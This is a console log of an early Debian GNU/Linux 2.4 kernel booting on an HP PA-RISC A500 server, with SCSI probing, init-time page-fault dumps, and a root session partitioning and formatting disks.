sym53c896-2: on-chip RAM at 0xfffffffff8002000
sym53c896-2: restart (scsi reset).
sym53c896-2: handling phase mismatch from SCRIPTS.
sym53c896-2: Downloading SCSI SCRIPTS.
sym53c896-3: rev 0x7 on pci bus 0 device 1 function 1 irq 130
sym53c896-3: NCR clock is 40218KHz
sym53c896-3: ID 7, Fast-40, Parity Checking
sym53c896-3: on-chip RAM at 0xfffffffff8006000
sym53c896-3: restart (scsi reset).
sym53c896-3: handling phase mismatch from SCRIPTS.
sym53c896-3: Downloading SCSI SCRIPTS.
sym53c896-4: rev 0x1 on pci bus 32 device 0 function 0 irq 256
sym53c896-4: NCR clock is 40218KHz
sym53c896-4: ID 7, Fast-40, Parity Checking
sym53c896-4: on-chip RAM at 0xfffffffffa002000
sym53c896-4: restart (scsi reset).
sym53c896-4: handling phase mismatch from SCRIPTS.
sym53c896-4: Downloading SCSI SCRIPTS.
sym53c896-5: rev 0x1 on pci bus 32 device 0 function 1 irq 257
sym53c896-5: NCR clock is 40218KHz
sym53c896-5: ID 7, Fast-40, Parity Checking
sym53c896-5: on-chip RAM at 0xfffffffffa004000
sym53c896-5: restart (scsi reset).
sym53c896-5: handling phase mismatch from SCRIPTS.
sym53c896-5: Downloading SCSI SCRIPTS.
sym53c896-6: rev 0x5 on pci bus 49 device 4 function 0 irq 320
sym53c896-6: NCR clock is 40218KHz
sym53c896-6: ID 7, Fast-40, Parity Checking
sym53c896-6: on-chip RAM at 0xfffffffffb002000
sym53c896-6: restart (scsi reset).
sym53c896-6: handling phase mismatch from SCRIPTS.
sym53c896-6: Downloading SCSI SCRIPTS.
sym53c896-7: rev 0x5 on pci bus 49 device 4 function 1 irq 321
sym53c896-7: NCR clock is 40218KHz
sym53c896-7: ID 7, Fast-40, Parity Checking
sym53c896-7: on-chip RAM at 0xfffffffffb004000
sym53c896-7: restart (scsi reset).
sym53c896-7: handling phase mismatch from SCRIPTS.
sym53c896-7: Downloading SCSI SCRIPTS.
scsi0 : sym53c8xx - version 1.6b
scsi1 : sym53c8xx - version 1.6b
scsi2 : sym53c8xx - version 1.6b
scsi3 : sym53c8xx - version 1.6b
scsi4 : sym53c8xx - version 1.6b
scsi5 : sym53c8xx - version 1.6b
scsi6 : sym53c8xx - version 1.6b
scsi7 : sym53c8xx - version 1.6b
  Vendor: SEAGATE   Model: ST39102LC         Rev: 7C03
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym53c876-1-<15,0>: tagged command queue depth set to 8
  Vendor: HP        Model: D5989B            Rev: 1.02
  Type:   Processor                          ANSI SCSI revision: 02
sym53c896-2-<13,0>: wide msgin: 1-2-3-1.
sym53c896-2-<13,0>: wide: wide=1 chg=0.
sym53c896-2-<13,0>: wide msgout: 1-2-3-1.
sym53c896-2-<13,0>: sync msg in: 1-3-1-a-f.
sym53c896-2-<13,0>: sync: per=12 scntl3=0xb0 scntl4=0x0 ofs=15 fak=0 chg=1.
sym53c896-2-<13,*>: FAST-20 WIDE SCSI 40.0 MB/s (50 ns, offset 15)
sym53c896-2-<13,0>: sync msgout: 1-3-1-c-f.
  Vendor: HP        Model: 9.10GB B 80-1205  Rev:     
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym53c896-2-<14,0>: wide msgin: 1-2-3-1.
sym53c896-2-<14,0>: wide: wide=1 chg=0.
sym53c896-2-<14,0>: wide msgout: 1-2-3-1.
sym53c896-2-<14,0>: sync msg in: 1-3-1-a-f.
sym53c896-2-<14,0>: sync: per=12 scntl3=0xb0 scntl4=0x0 ofs=15 fak=0 chg=1.
sym53c896-2-<14,*>: FAST-20 WIDE SCSI 40.0 MB/s (50 ns, offset 15)
sym53c896-2-<14,0>: sync msgout: 1-3-1-c-f.
  Vendor: HP        Model: 9.10GB B 80-1205  Rev:     
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym53c896-2-<15,0>: wide msgin: 1-2-3-1.
sym53c896-2-<15,0>: wide: wide=1 chg=0.
sym53c896-2-<15,0>: wide msgout: 1-2-3-1.
sym53c896-2-<15,0>: sync msg in: 1-3-1-a-f.
sym53c896-2-<15,0>: sync: per=12 scntl3=0xb0 scntl4=0x0 ofs=15 fak=0 chg=1.
sym53c896-2-<15,*>: FAST-20 WIDE SCSI 40.0 MB/s (50 ns, offset 15)
sym53c896-2-<15,0>: sync msgout: 1-3-1-c-f.
  Vendor: HP        Model: 9.10GB B 80-1205  Rev:     
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym53c896-2-<13,0>: tagged command queue depth set to 8
sym53c896-2-<14,0>: tagged command queue depth set to 8
sym53c896-2-<15,0>: tagged command queue depth set to 8
  Vendor: SEAGATE   Model: ST318404LC        Rev: HP01
  Type:   Direct-Access                      ANSI SCSI revision: 03
sym53c896-3-<15,0>: tagged command queue depth set to 8
  Vendor: IBM       Model: DMVS18D           Rev: HP05
  Type:   Direct-Access                      ANSI SCSI revision: 03
  Vendor: IBM       Model: DMVS18D           Rev: HP05
  Type:   Direct-Access                      ANSI SCSI revision: 03
  Vendor: IBM       Model: DMVS18D           Rev: HP05
  Type:   Direct-Access                      ANSI SCSI revision: 03
  Vendor: IBM       Model: DMVS18D           Rev: HP05
  Type:   Direct-Access                      ANSI SCSI revision: 03
  Vendor: HP        Model: A5272A            Rev: HP04
  Type:   Enclosure                          ANSI SCSI revision: 02
sym53c896-4-<0,0>: tagged command queue depth set to 8
sym53c896-4-<2,0>: tagged command queue depth set to 8
sym53c896-4-<3,0>: tagged command queue depth set to 8
sym53c896-4-<13,0>: tagged command queue depth set to 8
  Vendor: IBM       Model: DMVS18D           Rev: HP05
  Type:   Direct-Access                      ANSI SCSI revision: 03
  Vendor: IBM       Model: DMVS18D           Rev: HP05
  Type:   Direct-Access                      ANSI SCSI revision: 03
  Vendor: IBM       Model: DMVS18D           Rev: HP05
  Type:   Direct-Access                      ANSI SCSI revision: 03
  Vendor: IBM       Model: DMVS18D           Rev: HP05
  Type:   Direct-Access                      ANSI SCSI revision: 03
  Vendor: IBM       Model: DMVS18D           Rev: HP05
  Type:   Direct-Access                      ANSI SCSI revision: 03
  Vendor: HP        Model: A5272A            Rev: HP04
  Type:   Enclosure                          ANSI SCSI revision: 02
sym53c896-6-<0,0>: tagged command queue depth set to 8
sym53c896-6-<1,0>: tagged command queue depth set to 8
sym53c896-6-<2,0>: tagged command queue depth set to 8
sym53c896-6-<3,0>: tagged command queue depth set to 8
sym53c896-6-<13,0>: tagged command queue depth set to 8
Detected scsi disk sda at scsi1, channel 0, id 15, lun 0
Detected scsi disk sdb at scsi2, channel 0, id 13, lun 0
Detected scsi disk sdc at scsi2, channel 0, id 14, lun 0
Detected scsi disk sdd at scsi2, channel 0, id 15, lun 0
Detected scsi disk sde at scsi3, channel 0, id 15, lun 0
Detected scsi disk sdf at scsi4, channel 0, id 0, lun 0
Detected scsi disk sdg at scsi4, channel 0, id 2, lun 0
Detected scsi disk sdh at scsi4, channel 0, id 3, lun 0
Detected scsi disk sdi at scsi4, channel 0, id 13, lun 0
Detected scsi disk sdj at scsi6, channel 0, id 0, lun 0
Detected scsi disk sdk at scsi6, channel 0, id 1, lun 0
Detected scsi disk sdl at scsi6, channel 0, id 2, lun 0
Detected scsi disk sdm at scsi6, channel 0, id 3, lun 0
Detected scsi disk sdn at scsi6, channel 0, id 13, lun 0
sym53c876-1-<15,0>: wide msgout: 1-2-3-1.
sym53c876-1-<15,0>: wide msgin: 1-2-3-1.
sym53c876-1-<15,0>: wide: wide=1 chg=0.
sym53c876-1-<15,0>: wide msgout: 1-2-3-1.
sym53c876-1-<15,0>: wide msgin: 1-2-3-1.
sym53c876-1-<15,0>: wide: wide=1 chg=0.
sym53c876-1-<15,0>: sync msgout: 1-3-1-c-10.
sym53c876-1-<15,0>: sync msg in: 1-3-1-c-f.
sym53c876-1-<15,0>: sync: per=12 scntl3=0x90 scntl4=0x0 ofs=15 fak=0 chg=0.
sym53c876-1-<15,*>: FAST-20 WIDE SCSI 40.0 MB/s (50 ns, offset 15)
SCSI device sda: 17781521 512-byte hdwr sectors (9104 MB)
Partition check:
 sda: sda1 sda2 sda3 sda4
sym53c896-2-<13,0>: wide msgout: 1-2-3-1.
sym53c896-2-<13,0>: wide msgin: 1-2-3-1.
sym53c896-2-<13,0>: wide: wide=1 chg=0.
sym53c896-2-<13,0>: sync msgout: 1-3-1-c-1f.
sym53c896-2-<13,0>: sync msg in: 1-3-1-c-f.
sym53c896-2-<13,0>: sync: per=12 scntl3=0xb0 scntl4=0x0 ofs=15 fak=0 chg=0.
sym53c896-2-<13,*>: FAST-20 WIDE SCSI 40.0 MB/s (50 ns, offset 15)
SCSI device sdb: 17773524 512-byte hdwr sectors (9100 MB)
 sdb:
sym53c896-2-<14,0>: wide msgout: 1-2-3-1.
sym53c896-2-<14,0>: wide msgin: 1-2-3-1.
sym53c896-2-<14,0>: wide: wide=1 chg=0.
sym53c896-2-<14,0>: sync msgout: 1-3-1-c-1f.
sym53c896-2-<14,0>: sync msg in: 1-3-1-c-f.
sym53c896-2-<14,0>: sync: per=12 scntl3=0xb0 scntl4=0x0 ofs=15 fak=0 chg=0.
sym53c896-2-<14,*>: FAST-20 WIDE SCSI 40.0 MB/s (50 ns, offset 15)
SCSI device sdc: 17773524 512-byte hdwr sectors (9100 MB)
 sdc:
sym53c896-2-<15,0>: wide msgout: 1-2-3-1.
sym53c896-2-<15,0>: wide msgin: 1-2-3-1.
sym53c896-2-<15,0>: wide: wide=1 chg=0.
sym53c896-2-<15,0>: sync msgout: 1-3-1-c-1f.
sym53c896-2-<15,0>: sync msg in: 1-3-1-c-f.
sym53c896-2-<15,0>: sync: per=12 scntl3=0xb0 scntl4=0x0 ofs=15 fak=0 chg=0.
sym53c896-2-<15,*>: FAST-20 WIDE SCSI 40.0 MB/s (50 ns, offset 15)
SCSI device sdd: 17773524 512-byte hdwr sectors (9100 MB)
 sdd:
sym53c896-3-<15,0>: wide msgout: 1-2-3-1.
sym53c896-3-<15,0>: wide msgin: 1-2-3-1.
sym53c896-3-<15,0>: wide: wide=1 chg=0.
sym53c896-3-<15,0>: wide msgout: 1-2-3-1.
sym53c896-3-<15,0>: wide msgin: 1-2-3-1.
sym53c896-3-<15,0>: wide: wide=1 chg=0.
sym53c896-3-<15,0>: sync msgout: 1-3-1-c-1f.
sym53c896-3-<15,0>: sync msg in: 1-3-1-c-1f.
sym53c896-3-<15,0>: sync: per=12 scntl3=0xb0 scntl4=0x0 ofs=31 fak=0 chg=0.
sym53c896-3-<15,*>: FAST-20 WIDE SCSI 40.0 MB/s (50 ns, offset 31)
SCSI device sde: 35566480 512-byte hdwr sectors (18210 MB)
 sde: unknown partition table
sym53c896-4-<0,0>: wide msgout: 1-2-3-1.
sym53c896-4-<0,0>: wide msgin: 1-2-3-1.
sym53c896-4-<0,0>: wide: wide=1 chg=0.
sym53c896-4-<0,0>: wide msgout: 1-2-3-1.
sym53c896-4-<0,0>: wide msgin: 1-2-3-1.
sym53c896-4-<0,0>: wide: wide=1 chg=0.
sym53c896-4-<0,0>: sync msgout: 1-3-1-c-1f.
sym53c896-4-<0,0>: sync msg in: 1-3-1-c-1f.
sym53c896-4-<0,0>: sync: per=12 scntl3=0xb0 scntl4=0x0 ofs=31 fak=0 chg=0.
sym53c896-4-<0,*>: FAST-20 WIDE SCSI 40.0 MB/s (50 ns, offset 31)
SCSI device sdf: 35566480 512-byte hdwr sectors (18210 MB)
 sdf: unknown partition table
sym53c896-4-<2,0>: wide msgout: 1-2-3-1.
sym53c896-4-<2,0>: wide msgin: 1-2-3-1.
sym53c896-4-<2,0>: wide: wide=1 chg=0.
sym53c896-4-<2,0>: wide msgout: 1-2-3-1.
sym53c896-4-<2,0>: wide msgin: 1-2-3-1.
sym53c896-4-<2,0>: wide: wide=1 chg=0.
sym53c896-4-<2,0>: sync msgout: 1-3-1-c-1f.
sym53c896-4-<2,0>: sync msg in: 1-3-1-c-1f.
sym53c896-4-<2,0>: sync: per=12 scntl3=0xb0 scntl4=0x0 ofs=31 fak=0 chg=0.
sym53c896-4-<2,*>: FAST-20 WIDE SCSI 40.0 MB/s (50 ns, offset 31)
SCSI device sdg: 35566480 512-byte hdwr sectors (18210 MB)
 sdg: unknown partition table
sym53c896-4-<3,0>: wide msgout: 1-2-3-1.
sym53c896-4-<3,0>: wide msgin: 1-2-3-1.
sym53c896-4-<3,0>: wide: wide=1 chg=0.
sym53c896-4-<3,0>: wide msgout: 1-2-3-1.
sym53c896-4-<3,0>: wide msgin: 1-2-3-1.
sym53c896-4-<3,0>: wide: wide=1 chg=0.
sym53c896-4-<3,0>: sync msgout: 1-3-1-c-1f.
sym53c896-4-<3,0>: sync msg in: 1-3-1-c-1f.
sym53c896-4-<3,0>: sync: per=12 scntl3=0xb0 scntl4=0x0 ofs=31 fak=0 chg=0.
sym53c896-4-<3,*>: FAST-20 WIDE SCSI 40.0 MB/s (50 ns, offset 31)
SCSI device sdh: 35566480 512-byte hdwr sectors (18210 MB)
 sdh: unknown partition table
sym53c896-4-<13,0>: wide msgout: 1-2-3-1.
sym53c896-4-<13,0>: wide msgin: 1-2-3-1.
sym53c896-4-<13,0>: wide: wide=1 chg=0.
sym53c896-4-<13,0>: wide msgout: 1-2-3-1.
sym53c896-4-<13,0>: wide msgin: 1-2-3-1.
sym53c896-4-<13,0>: wide: wide=1 chg=0.
sym53c896-4-<13,0>: sync msgout: 1-3-1-c-1f.
sym53c896-4-<13,0>: sync msg in: 1-3-1-c-1f.
sym53c896-4-<13,0>: sync: per=12 scntl3=0xb0 scntl4=0x0 ofs=31 fak=0 chg=0.
sym53c896-4-<13,*>: FAST-20 WIDE SCSI 40.0 MB/s (50 ns, offset 31)
SCSI device sdi: 35566480 512-byte hdwr sectors (18210 MB)
 sdi: unknown partition table
sym53c896-6-<0,0>: wide msgout: 1-2-3-1.
sym53c896-6-<0,0>: wide msgin: 1-2-3-1.
sym53c896-6-<0,0>: wide: wide=1 chg=0.
sym53c896-6-<0,0>: wide msgout: 1-2-3-1.
sym53c896-6-<0,0>: wide msgin: 1-2-3-1.
sym53c896-6-<0,0>: wide: wide=1 chg=0.
sym53c896-6-<0,0>: sync msgout: 1-3-1-c-1f.
sym53c896-6-<0,0>: sync msg in: 1-3-1-c-1f.
sym53c896-6-<0,0>: sync: per=12 scntl3=0xb0 scntl4=0x0 ofs=31 fak=0 chg=0.
sym53c896-6-<0,*>: FAST-20 WIDE SCSI 40.0 MB/s (50 ns, offset 31)
SCSI device sdj: 35566480 512-byte hdwr sectors (18210 MB)
 sdj: unknown partition table
sym53c896-6-<1,0>: wide msgout: 1-2-3-1.
sym53c896-6-<1,0>: wide msgin: 1-2-3-1.
sym53c896-6-<1,0>: wide: wide=1 chg=0.
sym53c896-6-<1,0>: wide msgout: 1-2-3-1.
sym53c896-6-<1,0>: wide msgin: 1-2-3-1.
sym53c896-6-<1,0>: wide: wide=1 chg=0.
sym53c896-6-<1,0>: sync msgout: 1-3-1-c-1f.
sym53c896-6-<1,0>: sync msg in: 1-3-1-c-1f.
sym53c896-6-<1,0>: sync: per=12 scntl3=0xb0 scntl4=0x0 ofs=31 fak=0 chg=0.
sym53c896-6-<1,*>: FAST-20 WIDE SCSI 40.0 MB/s (50 ns, offset 31)
SCSI device sdk: 35566480 512-byte hdwr sectors (18210 MB)
 sdk: unknown partition table
sym53c896-6-<2,0>: wide msgout: 1-2-3-1.
sym53c896-6-<2,0>: wide msgin: 1-2-3-1.
sym53c896-6-<2,0>: wide: wide=1 chg=0.
sym53c896-6-<2,0>: wide msgout: 1-2-3-1.
sym53c896-6-<2,0>: wide msgin: 1-2-3-1.
sym53c896-6-<2,0>: wide: wide=1 chg=0.
sym53c896-6-<2,0>: sync msgout: 1-3-1-c-1f.
sym53c896-6-<2,0>: sync msg in: 1-3-1-c-1f.
sym53c896-6-<2,0>: sync: per=12 scntl3=0xb0 scntl4=0x0 ofs=31 fak=0 chg=0.
sym53c896-6-<2,*>: FAST-20 WIDE SCSI 40.0 MB/s (50 ns, offset 31)
SCSI device sdl: 35566480 512-byte hdwr sectors (18210 MB)
 sdl: unknown partition table
sym53c896-6-<3,0>: wide msgout: 1-2-3-1.
sym53c896-6-<3,0>: wide msgin: 1-2-3-1.
sym53c896-6-<3,0>: wide: wide=1 chg=0.
sym53c896-6-<3,0>: wide msgout: 1-2-3-1.
sym53c896-6-<3,0>: wide msgin: 1-2-3-1.
sym53c896-6-<3,0>: wide: wide=1 chg=0.
sym53c896-6-<3,0>: sync msgout: 1-3-1-c-1f.
sym53c896-6-<3,0>: sync msg in: 1-3-1-c-1f.
sym53c896-6-<3,0>: sync: per=12 scntl3=0xb0 scntl4=0x0 ofs=31 fak=0 chg=0.
sym53c896-6-<3,*>: FAST-20 WIDE SCSI 40.0 MB/s (50 ns, offset 31)
SCSI device sdm: 35566480 512-byte hdwr sectors (18210 MB)
 sdm: unknown partition table
sym53c896-6-<13,0>: wide msgout: 1-2-3-1.
sym53c896-6-<13,0>: wide msgin: 1-2-3-1.
sym53c896-6-<13,0>: wide: wide=1 chg=0.
sym53c896-6-<13,0>: wide msgout: 1-2-3-1.
sym53c896-6-<13,0>: wide msgin: 1-2-3-1.
sym53c896-6-<13,0>: wide: wide=1 chg=0.
sym53c896-6-<13,0>: sync msgout: 1-3-1-c-1f.
sym53c896-6-<13,0>: sync msg in: 1-3-1-c-1f.
sym53c896-6-<13,0>: sync: per=12 scntl3=0xb0 scntl4=0x0 ofs=31 fak=0 chg=0.
sym53c896-6-<13,*>: FAST-20 WIDE SCSI 40.0 MB/s (50 ns, offset 31)
SCSI device sdn: 35566480 512-byte hdwr sectors (18210 MB)
 sdn: unknown partition table
Detected scsi generic sg1 at scsi2, channel 0, id 5, lun 0, type 3
Detected scsi generic sg10 at scsi4, channel 0, id 15, lun 0, type 13
Detected scsi generic sg16 at scsi6, channel 0, id 15, lun 0, type 13
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 1024 buckets, 16Kbytes
TCP: Hash tables configured (established 8192 bind 8192)
Sending BOOTP requests.... OK
IP-Config: Got BOOTP answer from 15.8.81.247, my address is 15.8.80.78
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
Switching from PDC console

[ delete repeated text - A500 dumps kernel msg buffer here. ]

kmem_create: Forcing size word alignment - nfs_fh
Looking up port of RPC 100003/2 on 15.8.81.247
Looking up port of RPC 100005/2 on 15.8.81.247
VFS: Mounted root (nfs filesystem) readonly.
INIT: version 2.78 booting
Activating swap...
Checking all file systems...
Parallelizing fsck version 1.19 (13-Jul-2000)
Setting kernel variables.
Mounting local filesystems...
not mounted anything
hostname: can't open `(null)'
Configuring network interfaces: done.
Starting portmap daemon: portmap.
Starting portmapper... 
do_page_fault() pid=51 command='sleep'

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001011
r0-3	 0000000000000000 00000000000039f8 0000000040122197 0000000000002000
r4-7	 000000004017a938 000000000005a550 0000000000002000 000000002001fddc
r8-11	 0000000000000000 000000000008a810 000000002001fddc 0000000000000001
r12-15	 0000000000000000 0000000000002564 000000000005a550 0000000000000000
r16-19	 0000000000000000 0000000000002358 0000000000000000 000000004017a938
r20-23	 0000000000000000 00000000000039f8 0000000000000031 000000000000002d
r24-27	 000000000000000d 000000004016fc72 000000002001ffe2 0000000000003838
r28-31	 0000000000002564 0000000000004040 0000000020020280 0000000000000004
sr0-4	 0000000000000380 0000000000000380 0000000000000000 0000000000000380
sr4-8	 0000000000000380 0000000000000380 0000000000000380 0000000000000380

IASQ: 0000000000000380 0000000000000380 IAOQ: 000000004012231f 0000000040122323
 IIR: 0e801014    ISR: 0000000000000380  IOR: 0000000000000000
ORIG_R28: 0000000000004000
/etc/init.d/rcS: line 80:    51 Segmentation fault      sleep 2
Mounting remote filesystems...

Setting the System Clock using the Hardware Clock as reference...
Cannot access the Hardware Clock via any known method.
Use the --debug option to see the details of our search for an access method.
System Clock set. Local time: Wed Dec  6 22:52:37 MST 2000

Cleaning: /tmp /var/lock /var/run.
Initializing random number generator... done.
Recovering nvi editor sessions... done.
INIT: Entering runlevel: 2
Starting system log daemon: syslogd
do_page_fault() pid=95 command='syslogd'

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000011101111111000001011
r0-3	 0000000000000000 00000000000da490 000000004010188f 00000000000096c0
r4-7	 00000000000d9490 000000004013d67c 00000000000096c0 0000000000000003
r8-11	 0000000000009738 0000000000006800 000000004013e9dc 000000000008d2f0
r12-15	 00000000200207cc 0000000000000000 000000000008d570 0000000000000000
r16-19	 0000000000000000 0000000000000000 0000000000078440 00000000000d9490
r20-23	 000000004013e9e8 000000004013e9e0 0000000000000a79 0000000040136a6c
r24-27	 000000000000973f 0000000000000000 0000000020022a88 0000000000008ec0
r28-31	 00000000000025f3 000000000000a180 0000000020022a80 000000004004271b
sr0-4	 0000000000000280 0000000000000280 0000000000000000 0000000000000280
sr4-8	 0000000000000280 0000000000000280 0000000000000280 0000000000000280

IASQ: 0000000000000280 0000000000000280 IAOQ: 000000004010188b 00000000400e8bcb
 IIR: 483a05d8    ISR: 0000000000000280  IOR: 00000000000da77c
ORIG_R28: 0000000000000000



 klogd.
Starting Name Service Cache Daemon: nscd.
Starting internet superserver: inetd.

Debian GNU/Linux 2.2 gggA500 ttyS0

gggA500 login: root
PAM_unix[115]: (login) session opened for user root by LOGIN(uid=0)
PAM-lastlog[115]: /var/log/lastlog file is locked/read
Last login: Wed Dec  6 19:22:50 2000 on ttyS0
Linux gggA500 2.4.0-test10 #6 Wed Dec 6 17:14:11 PST 2000 parisc64 unknown

Most of the programs included with the Debian GNU/Linux system are
freely redistributable; the exact distribution terms for each program
are described in the individual files in /usr/doc/*/copyright

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
login[115]: ROOT LOGIN on `ttyS0'

gggA500:~# cat /proc/cpuinfo 
processor	: 0
cpu family	: PA-RISC 2.0
cpu		: PA8500 (PCX-W)
cpu MHz		: 440.000000
model		: 9000/800/A500-44
model name	: Crescendo 440
hversion	: 0x00005cb0
sversion	: 0x00000491
I-cache		: 512 KB
D-cache		: 1024 KB (WB)
ITLB entries	: 160
DTLB entries	: 160 - shared with ITLB
bogomips	: 878.18
gggA500:~# cat /proc/scsi/scsi
Attached devices: 
Host: scsi1 Channel: 00 Id: 15 Lun: 00
  Vendor: SEAGATE  Model: ST39102LC        Rev: 7C03
  Type:   Direct-Access                    ANSI SCSI revision: 02
Host: scsi2 Channel: 00 Id: 05 Lun: 00
  Vendor: HP       Model: D5989B           Rev: 1.02
  Type:   Processor                        ANSI SCSI revision: 02
Host: scsi2 Channel: 00 Id: 13 Lun: 00
  Vendor: HP       Model: 9.10GB B 80-1205 Rev:     
  Type:   Direct-Access                    ANSI SCSI revision: 02
Host: scsi2 Channel: 00 Id: 14 Lun: 00
  Vendor: HP       Model: 9.10GB B 80-1205 Rev:     
  Type:   Direct-Access                    ANSI SCSI revision: 02
Host: scsi2 Channel: 00 Id: 15 Lun: 00
  Vendor: HP       Model: 9.10GB B 80-1205 Rev:     
  Type:   Direct-Access                    ANSI SCSI revision: 02
Host: scsi3 Channel: 00 Id: 15 Lun: 00
  Vendor: SEAGATE  Model: ST318404LC       Rev: HP01
  Type:   Direct-Access                    ANSI SCSI revision: 03
Host: scsi4 Channel: 00 Id: 00 Lun: 00
  Vendor: IBM      Model: DMVS18D          Rev: HP05
  Type:   Direct-Access                    ANSI SCSI revision: 03
Host: scsi4 Channel: 00 Id: 02 Lun: 00
  Vendor: IBM      Model: DMVS18D          Rev: HP05
  Type:   Direct-Access                    ANSI SCSI revision: 03
Host: scsi4 Channel: 00 Id: 03 Lun: 00
  Vendor: IBM      Model: DMVS18D          Rev: HP05
  Type:   Direct-Access                    ANSI SCSI revision: 03
Host: scsi4 Channel: 00 Id: 13 Lun: 00
  Vendor: IBM      Model: DMVS18D          Rev: HP05
  Type:   Direct-Access                    ANSI SCSI revision: 03
Host: scsi4 Channel: 00 Id: 15 Lun: 00
  Vendor: HP       Model: A5272A           Rev: HP04
  Type:   Enclosure                        ANSI SCSI revision: 02
Host: scsi6 Channel: 00 Id: 00 Lun: 00
  Vendor: IBM      Model: DMVS18D          Rev: HP05
  Type:   Direct-Access                    ANSI SCSI revision: 03
Host: scsi6 Channel: 00 Id: 01 Lun: 00
  Vendor: IBM      Model: DMVS18D          Rev: HP05
  Type:   Direct-Access                    ANSI SCSI revision: 03
Host: scsi6 Channel: 00 Id: 02 Lun: 00
  Vendor: IBM      Model: DMVS18D          Rev: HP05
  Type:   Direct-Access                    ANSI SCSI revision: 03
Host: scsi6 Channel: 00 Id: 03 Lun: 00
  Vendor: IBM      Model: DMVS18D          Rev: HP05
  Type:   Direct-Access                    ANSI SCSI revision: 03
Host: scsi6 Channel: 00 Id: 13 Lun: 00
  Vendor: IBM      Model: DMVS18D          Rev: HP05
  Type:   Direct-Access                    ANSI SCSI revision: 03
Host: scsi6 Channel: 00 Id: 15 Lun: 00
  Vendor: HP       Model: A5272A           Rev: HP04
  Type:   Enclosure                        ANSI SCSI revision: 02
gggA500:~# ifconfig
eth0      Link encap:Ethernet  HWaddr 00:30:6E:03:79:9F  
          inet addr:15.8.80.78  Bcast:15.8.87.255  Mask:255.255.248.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:5236 errors:0 dropped:3 overruns:0 frame:0
          TX packets:2238 errors:0 dropped:0 overruns:0 carrier:0
          collisions:43 txqueuelen:100 
          Interrupt:128 

gggA500:~# fdisk /dev/sda

The number of cylinders for this disk is set to 8682.
There is nothing wrong with that, but this is larger than 1024,
and could in certain setups cause problems with:
1) software that runs at boot time (e.g., old versions of LILO)
2) booting and partitioning software from other OSs
   (e.g., DOS FDISK, OS/2 FDISK)

Command (m for help): p

Disk /dev/sda: 64 heads, 32 sectors, 8682 cylinders
Units = cylinders of 2048 * 512 bytes

   Device Boot    Start       End    Blocks   Id  System
/dev/sda1             1      1025   1049584   82  Linux swap
/dev/sda2          1026      1046     21504   f0  Unknown
/dev/sda3          1047      5143   4195328   83  Linux
/dev/sda4          5144      8682   3623936   83  Linux

Command (m for help): q

gggA500:~# mke2fs /dev/sda
mke2fs 1.19, 13-Jul-2000 for EXT2 FS 0.5b, 95/08/09
/dev/sda is entire device, not just one partition!
Proceed anyway? (y,n) n
gggA500:~# set -o vi
gggA500:~# mke2fs /dev/sda3
mke2fs 1.19, 13-Jul-2000 for EXT2 FS 0.5b, 95/08/09
warning: 256 blocks unused.

Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
525312 inodes, 1048576 blocks
52441 blocks (5.00%) reserved for the super user
First data block=0
32 block groups
32768 blocks per group, 32768 fragments per group
16416 inodes per group
Superblock backups stored on blocks: 
	32768, 98304, 163840, 229376, 294912, 819200, 884736

Writing inode tables:  0/32 1/32 2/32 3/32 4/32 5/32 6/32 7/32 8/32 9/3210/3211/3212/3213/3214/3215/3216/3217/3218/3219/3220/3221/3222/3223/3224/3225/3226/3227/3228/3229/3230/3231/32done                            
Writing superblocks and filesystem accounting information: done
gggA500:~# mount /dev/sda3 /mnt
gggA500:~# cd /mnt
gggA500:/mnt# ls
lost+found
gggA500:/mnt# dd if=/palinux-0.5.iso of=/dev/sdc
dd: writing to `/dev/sdc': No space left on device
7193+0 records in
7192+0 records out
gggA500:/mnt# df
Filesystem           1k-blocks      Used Available Use% Mounted on
15.8.81.247:/tftpboot/hppa
                       7558400   5736960   1437488  80% /
/dev/sda3              4128320        20   3918536   1% /mnt
gggA500:/mnt# ls -l /dev/sdc
brw-rw----    1 root     disk       8,  32 Aug  1 14:43 /dev/sdc
gggA500:/mnt# fdisk /dev/sdc
Device contains neither a valid DOS partition table, nor Sun, SGI or OSF disklabel
Building a new DOS disklabel. Changes will remain in memory only,
until you decide to write them. After that, of course, the previous
content won't be recoverable.


The number of cylinders for this disk is set to 8678.
There is nothing wrong with that, but this is larger than 1024,
and could in certain setups cause problems with:
1) software that runs at boot time (e.g., old versions of LILO)
2) booting and partitioning software from other OSs
   (e.g., DOS FDISK, OS/2 FDISK)

Command (m for help): p

Disk /dev/sdc: 64 heads, 32 sectors, 8678 cylinders
Units = cylinders of 2048 * 512 bytes

   Device Boot    Start       End    Blocks   Id  System

Command (m for help): n
Command action
   e   extended
   p   primary partition (1-4)
p
Partition number (1-4): 1
First cylinder (1-8678, default 1): 
Using default value 1
Last cylinder or +size or +sizeM or +sizeK (1-8678, default 8678): 2100

Command (m for help): n
Command action
   e   extended
   p   primary partition (1-4)
p
Partition number (1-4): 2
First cylinder (2101-8678, default 2101): 
Using default value 2101
Last cylinder or +size or +sizeM or +sizeK (2101-8678, default 8678): 4200

Command (m for help): n
Command action
   e   extended
   p   primary partition (1-4)
p
Partition number (1-4): 3
First cylinder (4201-8678, default 4201): 
Using default value 4201
Last cylinder or +size or +sizeM or +sizeK (4201-8678, default 8678): 
Using default value 8678

Command (m for help): p

Disk /dev/sdc: 64 heads, 32 sectors, 8678 cylinders
Units = cylinders of 2048 * 512 bytes

   Device Boot    Start       End    Blocks   Id  System
/dev/sdc1             1      2100   2150384   83  Linux
/dev/sdc2          2101      4200   2150400   83  Linux
/dev/sdc3          4201      8678   4585472   83  Linux

Command (m for help): w
The partition table has been altered!

Calling ioctl() to re-read partition table.
SCSI device sdc: 17773524 512-byte hdwr sectors (9100 MB)
SCSI device sdc: 17773524 512-byte hdwr sectors (9100 MB)

WARNING: If you have created or modified any DOS 6.x
partitions, please see the fdisk manual page for additional
information.
Syncing disks.
gggA500:/mnt# cd/
